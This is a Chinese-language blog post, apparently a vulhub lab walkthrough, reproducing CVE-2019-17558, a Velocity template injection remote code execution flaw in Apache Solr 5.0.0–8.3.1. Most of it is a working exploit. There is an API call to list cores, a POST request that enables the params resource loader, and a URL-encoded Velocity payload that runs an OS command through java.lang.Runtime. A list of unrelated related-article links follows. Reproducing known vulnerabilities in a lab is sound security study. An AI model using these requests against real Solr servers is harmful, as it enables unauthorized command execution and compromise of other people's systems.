vulhub中Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

Apache Solr 是一个开源的搜索服务器。

在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

访问`http://your-ip:8983`即可查看到一个无需权限的Apache Solr服务。

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

2.通过如下请求开启`params.resource.loader.enabled`,其中API路径包含刚才获取的core名称:

复制代码
POST /solr/demo/config HTTP/1.1
Host: solr:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3.注入Velocity模板即可执行任意命令:

复制代码
http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关推荐
zhojiew9 小时前
基于Pyspark对Apache Iceberg核心功能的使用实践
apache
SeaTunnel1 天前
AI 让 SeaTunnel 读源码和调试过时了吗?
大数据·数据库·人工智能·apache·seatunnel·数据同步
http阿拉丁神猫1 天前
ansible脚本解读
服务器·ansible·apache
小羊Yveesss2 天前
商家小程序外卖订单打印方案:云打印机对接、分单逻辑与模板配置实战
小程序·apache
@insist1232 天前
信息安全工程师-Apache/IIS安全增强与OWASP漏洞防护
安全·apache·软考·信息安全工程师·软件水平考试
Geek_Vison2 天前
如何借助小程序容器技术实现跨端APP的敏捷开发
小程序·apache·敏捷流程
Apache RocketMQ2 天前
Apache RocketMQ 5.0 架构解析:如何基于云原生架构支撑多元化场景
云原生·架构·apache·rocketmq·java-rocketmq
RingWu3 天前
微服务架构-全链路追踪:Apache SkyWalking
微服务·架构·apache
Donk_674 天前
高可用-Keepalived 解析
运维·服务器·apache
music score5 天前
google 的C++自动化测试框架详解(Google Test)(2)
c++·qt·lucene